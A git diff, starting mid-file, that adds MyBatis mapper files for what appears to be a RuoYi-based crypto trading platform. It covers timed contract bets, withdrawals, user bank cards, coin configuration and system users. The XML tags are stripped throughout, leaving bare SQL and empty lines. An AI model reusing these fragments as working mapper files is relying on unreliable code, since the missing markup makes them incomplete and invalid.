#{updateTime}, + + where id = #{id} + + + + update t_own_coin_subscribe_order + set order_id = #{orderId} + where user_id = #{userId} and own_id = #{ownId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSecondCoinConfigMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondCoinConfigMapper.xml new file mode 100644 index 0000000..61120d1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondCoinConfigMapper.xml @@ -0,0 +1,145 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + select id, symbol,market, status,show_flag, coin, sort, create_by, create_time, update_by, update_time, remark, search_value,logo, show_symbol,base_coin,type from t_second_coin_config + + + + + + + + + insert into t_second_coin_config + + symbol, + market, + status, + show_flag, + coin, + sort, + type, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + logo, + show_symbol, + base_coin, + + + #{symbol}, + #{market}, + #{status}, + #{showFlag}, + #{coin}, + #{sort}, + #{type}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{logo}, + #{showSymbol}, + #{baseCoin}, + + + + + update t_second_coin_config + + symbol = #{symbol}, + market = #{market}, + status = #{status}, + show_flag = #{showFlag}, + coin = #{coin}, + sort = #{sort}, + type = #{type}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + logo = #{logo}, + show_symbol = #{showSymbol}, + base_coin = #{baseCoin}, + + where id = #{id} + + + + delete from t_second_coin_config where id = #{id} + + + + delete from t_second_coin_config where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSecondContractOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondContractOrderMapper.xml new file mode 100644 index 0000000..f5f6803 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondContractOrderMapper.xml @@ -0,0 +1,167 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, order_no, symbol, type, user_id, user_address, bet_content, open_result, status, bet_amount, reward_amount, compensation_amount, create_time, open_price, close_price, open_time, close_time, coin_symbol, base_symbol, sign, manual_intervention, rate ,admin_parent_ids ,rate_flag from t_second_contract_order + + + + + + + + insert into t_second_contract_order + + order_no, + symbol, + type, + user_id, + user_address, + bet_content, + open_result, + status, + bet_amount, + reward_amount, + compensation_amount, + create_time, + open_price, + close_price, + open_time, + close_time, + coin_symbol, + base_symbol, + sign, + manual_intervention, + admin_parent_ids, + rate, + rate_flag, + + + #{orderNo}, + #{symbol}, + #{type}, + #{userId}, + #{userAddress}, + #{betContent}, + #{openResult}, + #{status}, + #{betAmount}, + #{rewardAmount}, + #{compensationAmount}, + #{createTime}, + #{openPrice}, + #{closePrice}, + #{openTime}, + #{closeTime}, + #{coinSymbol}, + #{baseSymbol}, + #{sign}, + #{manualIntervention}, + #{adminParentIds}, + #{rate}, + #{rateFlag}, + + + + + update t_second_contract_order + + order_no = #{orderNo}, + symbol = #{symbol}, + type = #{type}, + user_id = #{userId}, + user_address = #{userAddress}, + bet_content = #{betContent}, + open_result = #{openResult}, + status = #{status}, + bet_amount = #{betAmount}, + reward_amount = #{rewardAmount}, + compensation_amount = #{compensationAmount}, + create_time = #{createTime}, + open_price = #{openPrice}, + close_price = #{closePrice}, + open_time = #{openTime}, + close_time = #{closeTime}, + coin_symbol = #{coinSymbol}, + base_symbol = #{baseSymbol}, + sign = #{sign}, + manual_intervention = #{manualIntervention}, + rate = #{rate}, + rate_flag = #{rateFlag}, + + where id = #{id} + + + + delete from t_second_contract_order where id = #{id} + + + + delete from t_second_contract_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSecondPeriodConfigMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondPeriodConfigMapper.xml new file mode 100644 index 0000000..794cb62 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSecondPeriodConfigMapper.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + select id, second_id, period, odds, max_amount, min_amount, status, create_by, create_time, update_by, update_time, remark, search_value ,flag from t_second_period_config + + + + + + + + insert into t_second_period_config + + id, + second_id, + period, + odds, + max_amount, + min_amount, + status, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + flag, + + + #{id}, + #{secondId}, + #{period}, + #{odds}, + #{maxAmount}, + #{minAmount}, + #{status}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{flag}, + + + + + update t_second_period_config + + second_id = #{secondId}, + period = #{period}, + odds = #{odds}, + max_amount = #{maxAmount}, + min_amount = #{minAmount}, + status = #{status}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + flag = #{flag}, + + where id = #{id} + + + + delete from t_second_period_config where id = #{id} + + + + delete from t_second_period_config where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSpontaneousCoinMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSpontaneousCoinMapper.xml new file mode 100644 index 0000000..0a72915 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSpontaneousCoinMapper.xml @@ -0,0 +1,106 @@ + + + + + + + + + + + + + + + + + + + + + + select id, coin, logo, refer_coin, refer_market, show_symbol, price, proportion, create_by, create_time, update_by, update_time, remark from t_spontaneous_coin + + + + + + + + insert into t_spontaneous_coin + + coin, + logo, + refer_coin, + refer_market, + show_symbol, + price, + proportion, + create_by, + create_time, + update_by, + update_time, + remark, + + + #{coin}, + #{logo}, + #{referCoin}, + #{referMarket}, + #{showSymbol}, + #{price}, + #{proportion}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + + + + + update t_spontaneous_coin + + coin = #{coin}, + logo = #{logo}, + refer_coin = #{referCoin}, + refer_market = #{referMarket}, + show_symbol = #{showSymbol}, + price = #{price}, + proportion = #{proportion}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + + where id = #{id} + + + + delete from t_spontaneous_coin where id = #{id} + + + + delete from t_spontaneous_coin where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolManageMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolManageMapper.xml new file mode 100644 index 0000000..62fdfac --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolManageMapper.xml @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + select id, symbol, min_charge_num, max_charge_num, commission, sort, enable, remark, create_by, create_time, update_by, update_time, del_flag, logo, market from t_symbol_manage + + + + + + + + + insert into t_symbol_manage + + symbol, + min_charge_num, + max_charge_num, + commission, + sort, + enable, + remark, + create_by, + create_time, + update_by, + update_time, + del_flag, + logo, + market, + + + #{symbol}, + #{minChargeNum}, + #{maxChargeNum}, + #{commission}, + #{sort}, + #{enable}, + #{remark}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{delFlag}, + #{logo}, + #{market}, + + + + + update t_symbol_manage + + symbol = #{symbol}, + min_charge_num = #{minChargeNum}, + max_charge_num = #{maxChargeNum}, + commission = #{commission}, + sort = #{sort}, + enable = #{enable}, + remark = #{remark}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + del_flag = #{delFlag}, + logo = #{logo}, + market = #{market}, + + where id = #{id} + + + + delete from t_symbol_manage where id = #{id} + + + + update t_symbol_manage set del_flag = '2' where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolsMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolsMapper.xml new file mode 100644 index 0000000..6706f53 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolsMapper.xml @@ -0,0 +1,73 @@ + + + + + + + + + + + + + + select slug, symbol, fullname, logo_Url, fiat from t_symbols + + + + + + + + insert into t_symbols + + slug, + symbol, + fullname, + logo_Url, + fiat, + + + #{slug}, + #{symbol}, + #{fullname}, + #{logoUrl}, + #{fiat}, + + + + + update t_symbols + + symbol = #{symbol}, + fullname = #{fullname}, + logo_Url = #{logoUrl}, + fiat = #{fiat}, + + where slug = #{slug} + + + + delete from t_symbols where slug = #{slug} + + + + delete from t_symbols where slug in + + #{slug} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TUserBankMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TUserBankMapper.xml new file mode 100644 index 0000000..b594268 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TUserBankMapper.xml @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + select id, user_name, card_number, bank_name, bank_address, bank_branch, user_id, create_by, create_time, update_by, update_time, remark, search_value, bank_code, user_address, admin_parent_ids, coin from t_user_bank + + + + + + + + insert into t_user_bank + + user_name, + card_number, + bank_name, + bank_address, + bank_branch, + user_id, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + bank_code, + user_address, + admin_parent_ids, + coin, + + + #{userName}, + #{cardNumber}, + #{bankName}, + #{bankAddress}, + #{bankBranch}, + #{userId}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{bankCode}, + #{userAddress}, + #{adminParentIds}, + #{coin}, + + + + + update t_user_bank + + user_name = #{userName}, + card_number = #{cardNumber}, + bank_name = #{bankName}, + bank_address = #{bankAddress}, + bank_branch = #{bankBranch}, + user_id = #{userId}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + bank_code = #{bankCode}, + user_address = #{userAddress}, + admin_parent_ids = #{adminParentIds}, + coin = #{coin}, + + where id = #{id} + + + + delete from t_user_bank where id = #{id} + + + + delete from t_user_bank where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TUserCoinMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TUserCoinMapper.xml new file mode 100644 index 0000000..4038775 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TUserCoinMapper.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TUserSymbolAddressMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TUserSymbolAddressMapper.xml new file mode 100644 index 0000000..ba398c8 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TUserSymbolAddressMapper.xml @@ -0,0 +1,68 @@ + + + + + + + + + + + + + select id, user_id, symbol, address from t_user_symbol_address + + + + + + + + insert into t_user_symbol_address + + id, + user_id, + symbol, + address, + + + #{id}, + #{userId}, + #{symbol}, + #{address}, + + + + + update t_user_symbol_address + + user_id = #{userId}, + symbol = #{symbol}, + address = #{address}, + + where id = #{id} + + + + delete from t_user_symbol_address where id = #{id} + + + + delete from t_user_symbol_address where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TWithdrawMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TWithdrawMapper.xml new file mode 100644 index 0000000..cb89d9d --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TWithdrawMapper.xml @@ -0,0 +1,362 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, create_by, create_time, update_by, update_time, remark, user_id, username, + address, amount, status, serial_id, search_value, from_addr, type, coin, ratio, + fee, withdraw_id, host, real_amount, to_adress, admin_parent_ids, notice_flag, + with_draw_remark, bank_name, bank_user_name, bank_branch,order_type, exchange_rate, + receipt_amount,receipt_real_amount,receipt_coin + from t_withdraw + + + + + + + + + + + insert into t_withdraw + + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + username, + address, + amount, + status, + serial_id, + search_value, + from_addr, + type, + coin, + ratio, + fee, + withdraw_id, + host, + real_amount, + to_adress, + admin_parent_ids, + notice_flag, + with_draw_remark, + bank_name, + bank_user_name, + bank_branch, + fixed_fee, + order_type, + exchange_rate, + receipt_amount, + receipt_real_amount, + receipt_coin, + + + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{userId}, + #{username}, + #{address}, + #{amount}, + #{status}, + #{serialId}, + #{searchValue}, + #{fromAddr}, + #{type}, + #{coin}, + #{ratio}, + #{fee}, + #{withdrawId}, + #{host}, + #{realAmount}, + #{toAdress}, + #{adminParentIds}, + #{noticeFlag}, + #{withDrawRemark}, + #{bankName}, + #{bankUserName}, + #{bankBranch}, + #{fixedFee}, + #{orderType}, + #{exchangeRate}, + #{receiptAmount}, + #{receiptRealAmount}, + #{receiptCoin}, + + + + + update t_withdraw + + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + user_id = #{userId}, + username = #{username}, + address = #{address}, + amount = #{amount}, + status = #{status}, + serial_id = #{serialId}, + search_value = #{searchValue}, + from_addr = #{fromAddr}, + type = #{type}, + coin = #{coin}, + ratio = #{ratio}, + fee = #{fee}, + withdraw_id = #{withdrawId}, + host = #{host}, + real_amount = #{realAmount}, + to_adress = #{toAdress}, + admin_parent_ids = #{adminParentIds}, + notice_flag = #{noticeFlag}, + with_draw_remark = #{withDrawRemark}, + bank_name = #{bankName}, + bank_user_name = #{bankUserName}, + bank_branch = #{bankBranch}, + fixed_fee = #{fixedFee}, + order_type = #{orderType}, + exchange_rate = #{exchangeRate}, + receipt_amount = #{receiptAmount}, + receipt_real_amount = #{receiptRealAmount}, + receipt_coin = #{receiptCoin}, + + where id = #{id} + + + + delete from t_withdraw where id = #{id} + + + + delete from t_withdraw where id in + + #{id} + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml new file mode 100644 index 0000000..ca39f47 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + select config_id, config_name, config_key, config_value, config_type, create_by, create_time, update_by, update_time, remark + from sys_config + + + + + + + and config_id = #{configId} + + + and config_key = #{configKey} + + + + + + + + + + + + + + insert into sys_config ( + config_name, + config_key, + config_value, + config_type, + create_by, + remark, + create_time + )values( + #{configName}, + #{configKey}, + #{configValue}, + #{configType}, + #{createBy}, + #{remark}, + sysdate() + ) + + + + update sys_config + + config_name = #{configName}, + config_key = #{configKey}, + config_value = #{configValue}, + config_type = #{configType}, + update_by = #{updateBy}, + remark = #{remark}, + update_time = sysdate() + + where config_id = #{configId} + + + + delete from sys_config where config_id = #{configId} + + + + delete from sys_config where config_id in + + #{configId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml new file mode 100644 index 0000000..cf439f6 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + select d.dept_id, d.parent_id, d.ancestors, d.dept_name, d.order_num, d.leader, d.phone, d.email, d.status, d.del_flag, d.create_by, d.create_time + from sys_dept d + + + + + + + + + + + + + + + + + + + + insert into sys_dept( + dept_id, + parent_id, + dept_name, + ancestors, + order_num, + leader, + phone, + email, + status, + create_by, + create_time + )values( + #{deptId}, + #{parentId}, + #{deptName}, + #{ancestors}, + #{orderNum}, + #{leader}, + #{phone}, + #{email}, + #{status}, + #{createBy}, + sysdate() + ) + + + + update sys_dept + + parent_id = #{parentId}, + dept_name = #{deptName}, + ancestors = #{ancestors}, + order_num = #{orderNum}, + leader = #{leader}, + phone = #{phone}, + email = #{email}, + status = #{status}, + update_by = #{updateBy}, + update_time = sysdate() + + where dept_id = #{deptId} + + + + update sys_dept set ancestors = + + when #{item.deptId} then #{item.ancestors} + + where dept_id in + + #{item.deptId} + + + + + update sys_dept set status = '0' where dept_id in + + #{deptId} + + + + + update sys_dept set del_flag = '2' where dept_id = #{deptId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml new file mode 100644 index 0000000..4b05360 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml @@ -0,0 +1,135 @@ + + + + + + + + + + + + + + + + + + + + + + + select dict_code, dict_sort, dict_label, dict_value, dict_type, css_class, list_class, + is_default, status, create_by, create_time, remark ,img_url + from sys_dict_data + + + + + + + + + + + + + + delete from sys_dict_data where dict_code = #{dictCode} + + + + delete from sys_dict_data where dict_code in + + #{dictCode} + + + + + update sys_dict_data + + dict_sort = #{dictSort}, + dict_label = #{dictLabel}, + dict_value = #{dictValue}, + dict_type = #{dictType}, + css_class = #{cssClass}, + list_class = #{listClass}, + is_default = #{isDefault}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + img_url = #{imgUrl}, + update_time = sysdate() + + where dict_code = #{dictCode} + + + + update sys_dict_data set dict_type = #{newDictType} where dict_type = #{oldDictType} + + + update sys_dict_data set is_default = 'N' where dict_type = #{dictType} + + and dict_code != #{dictCode} + + + + + insert into sys_dict_data( + dict_sort, + dict_label, + dict_value, + dict_type, + css_class, + list_class, + is_default, + status, + remark, + create_by, + img_url, + create_time + )values( + #{dictSort}, + #{dictLabel}, + #{dictValue}, + #{dictType}, + #{cssClass}, + #{listClass}, + #{isDefault}, + #{status}, + #{remark}, + #{createBy}, + #{imgUrl}, + sysdate() + ) + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml new file mode 100644 index 0000000..55b4075 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + + + + select dict_id, dict_name, dict_type, status, create_by, create_time, remark + from sys_dict_type + + + + + + + + + + + + + + delete from sys_dict_type where dict_id = #{dictId} + + + + delete from sys_dict_type where dict_id in + + #{dictId} + + + + + update sys_dict_type + + dict_name = #{dictName}, + dict_type = #{dictType}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where dict_id = #{dictId} + + + + insert into sys_dict_type( + dict_name, + dict_type, + status, + remark, + create_by, + create_time + )values( + #{dictName}, + #{dictType}, + #{status}, + #{remark}, + #{createBy}, + sysdate() + ) + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml new file mode 100644 index 0000000..822d665 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml @@ -0,0 +1,57 @@ + + + + + + + + + + + + + + + + + + insert into sys_logininfor (user_name, status, ipaddr, login_location, browser, os, msg, login_time) + values (#{userName}, #{status}, #{ipaddr}, #{loginLocation}, #{browser}, #{os}, #{msg}, sysdate()) + + + + + + delete from sys_logininfor where info_id in + + #{infoId} + + + + + truncate table sys_logininfor + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml new file mode 100644 index 0000000..6762007 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml @@ -0,0 +1,202 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select menu_id, menu_name, parent_id, order_num, path, component, `query`, is_frame, is_cache, menu_type, visible, status, ifnull(perms,'') as perms, icon, create_time + from sys_menu + + + + + + + + + + + + + + + + + + + + + + + + + + update sys_menu + + menu_name = #{menuName}, + parent_id = #{parentId}, + order_num = #{orderNum}, + path = #{path}, + component = #{component}, + `query` = #{query}, + is_frame = #{isFrame}, + is_cache = #{isCache}, + menu_type = #{menuType}, + visible = #{visible}, + status = #{status}, + perms = #{perms}, + icon = #{icon}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where menu_id = #{menuId} + + + + insert into sys_menu( + menu_id, + parent_id, + menu_name, + order_num, + path, + component, + `query`, + is_frame, + is_cache, + menu_type, + visible, + status, + perms, + icon, + remark, + create_by, + create_time + )values( + #{menuId}, + #{parentId}, + #{menuName}, + #{orderNum}, + #{path}, + #{component}, + #{query}, + #{isFrame}, + #{isCache}, + #{menuType}, + #{visible}, + #{status}, + #{perms}, + #{icon}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + delete from sys_menu where menu_id = #{menuId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml new file mode 100644 index 0000000..65d3079 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + select notice_id, notice_title, notice_type, cast(notice_content as char) as notice_content, status, create_by, create_time, update_by, update_time, remark + from sys_notice + + + + + + + + insert into sys_notice ( + notice_title, + notice_type, + notice_content, + status, + remark, + create_by, + create_time + )values( + #{noticeTitle}, + #{noticeType}, + #{noticeContent}, + #{status}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + update sys_notice + + notice_title = #{noticeTitle}, + notice_type = #{noticeType}, + notice_content = #{noticeContent}, + status = #{status}, + update_by = #{updateBy}, + update_time = sysdate() + + where notice_id = #{noticeId} + + + + delete from sys_notice where notice_id = #{noticeId} + + + + delete from sys_notice where notice_id in + + #{noticeId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml new file mode 100644 index 0000000..96bc621 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml @@ -0,0 +1,84 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + select oper_id, title, business_type, method, request_method, operator_type, oper_name, dept_name, oper_url, oper_ip, oper_location, oper_param, json_result, status, error_msg, oper_time, cost_time + from sys_oper_log + + + + insert into sys_oper_log(title, business_type, method, request_method, operator_type, oper_name, dept_name, oper_url, oper_ip, oper_location, oper_param, json_result, status, error_msg, cost_time, oper_time) + values (#{title}, #{businessType}, #{method}, #{requestMethod}, #{operatorType}, #{operName}, #{deptName}, #{operUrl}, #{operIp}, #{operLocation}, #{operParam}, #{jsonResult}, #{status}, #{errorMsg}, #{costTime}, sysdate()) + + + + + + delete from sys_oper_log where oper_id in + + #{operId} + + + + + + + truncate table sys_oper_log + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml new file mode 100644 index 0000000..227c459 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml @@ -0,0 +1,122 @@ + + + + + + + + + + + + + + + + + + + select post_id, post_code, post_name, post_sort, status, create_by, create_time, remark + from sys_post + + + + + + + + + + + + + + + + + + update sys_post + + post_code = #{postCode}, + post_name = #{postName}, + post_sort = #{postSort}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where post_id = #{postId} + + + + insert into sys_post( + post_id, + post_code, + post_name, + post_sort, + status, + remark, + create_by, + create_time + )values( + #{postId}, + #{postCode}, + #{postName}, + #{postSort}, + #{status}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + delete from sys_post where post_id = #{postId} + + + + delete from sys_post where post_id in + + #{postId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml new file mode 100644 index 0000000..7c4139b --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml @@ -0,0 +1,34 @@ + + + + + + + + + + + delete from sys_role_dept where role_id=#{roleId} + + + + + + delete from sys_role_dept where role_id in + + #{roleId} + + + + + insert into sys_role_dept(role_id, dept_id) values + + (#{item.roleId},#{item.deptId}) + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml new file mode 100644 index 0000000..b2f6c60 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml @@ -0,0 +1,155 @@ + + + + + + + + + + + + + + + + + + + + + + + select distinct r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.menu_check_strictly, r.dept_check_strictly, + r.status, r.del_flag, r.create_time, r.remark + from sys_role r + left join sys_user_role ur on ur.role_id = r.role_id + left join sys_user u on u.user_id = ur.user_id + left join sys_dept d on u.dept_id = d.dept_id + + + + + + + + + + + + + + + + + + + + insert into sys_role( + role_id, + role_name, + role_key, + role_sort, + data_scope, + menu_check_strictly, + dept_check_strictly, + status, + remark, + create_by, + create_time + )values( + #{roleId}, + #{roleName}, + #{roleKey}, + #{roleSort}, + #{dataScope}, + #{menuCheckStrictly}, + #{deptCheckStrictly}, + #{status}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + update sys_role + + role_name = #{roleName}, + role_key = #{roleKey}, + role_sort = #{roleSort}, + data_scope = #{dataScope}, + menu_check_strictly = #{menuCheckStrictly}, + dept_check_strictly = #{deptCheckStrictly}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where role_id = #{roleId} + + + + update sys_role set del_flag = '2' where role_id = #{roleId} + + + + update sys_role set del_flag = '2' where role_id in + + #{roleId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml new file mode 100644 index 0000000..cb60a85 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml @@ -0,0 +1,34 @@ + + + + + + + + + + + + + delete from sys_role_menu where role_id=#{roleId} + + + + delete from sys_role_menu where role_id in + + #{roleId} + + + + + insert into sys_role_menu(role_id, menu_id) values + + (#{item.roleId},#{item.menuId}) + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml new file mode 100644 index 0000000..983762a --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml @@ -0,0 +1,255 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select u.user_id, u.dept_id, u.user_type, u.user_name, u.nick_name, u.email, u.avatar, u.phonenumber, u.password, u.sex, + u.status, u.del_flag, u.login_ip, u.login_date, u.parent_id, u.create_by, u.create_time, u.remark,u.google_key, + d.dept_id, d.parent_id, d.ancestors, d.dept_name, d.order_num, d.leader, d.status as dept_status, + r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status as role_status + from sys_user u + left join sys_dept d on u.dept_id = d.dept_id + left join sys_user_role ur on u.user_id = ur.user_id + left join sys_role r on r.role_id = ur.role_id + + + + + + + + + + + + + + + + + + + + insert into sys_user( + user_id, + dept_id, + user_type, + user_name, + nick_name, + email, + avatar, + phonenumber, + sex, + password, + status, + create_by, + remark, + parent_id, + google_key, + create_time + )values( + #{userId}, + #{deptId}, + #{userType}, + #{userName}, + #{nickName}, + #{email}, + #{avatar}, + #{phonenumber}, + #{sex}, + #{password}, + #{status}, + #{createBy}, + #{remark}, + #{parentId}, + #{googleKey}, + sysdate() + ) + + + + update sys_user + + dept_id = #{deptId}, + user_type = #{userType}, + user_name = #{userName}, + nick_name = #{nickName}, + email = #{email}, + phonenumber = #{phonenumber}, + sex = #{sex}, + avatar = #{avatar}, + password = #{password}, + status = #{status}, + login_ip = #{loginIp}, + login_date = #{loginDate}, + update_by = #{updateBy}, + remark = #{remark}, + parent_id = #{parentId}, + google_key = #{googleKey}, + update_time = sysdate() + + where user_id = #{userId} + + + + update sys_user set status = #{status} where user_id = #{userId} + + + + update sys_user set avatar = #{avatar} where user_name = #{userName} + + + + update sys_user set password = #{password} where user_name = #{userName} + + + + update sys_user set del_flag = '2' where user_id = #{userId} + + + + update sys_user set del_flag = '2' where user_id in + + #{userId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml new file mode 100644 index 0000000..2b90bc4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml @@ -0,0 +1,34 @@ + + + + + + + + + + + delete from sys_user_post where user_id=#{userId} + + + + + + delete from sys_user_post where user_id in + + #{userId} + + + + + insert into sys_user_post(user_id, post_id) values + + (#{item.userId},#{item.postId}) + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml new file mode 100644 index 0000000..dd72689 --- /dev/null +++ 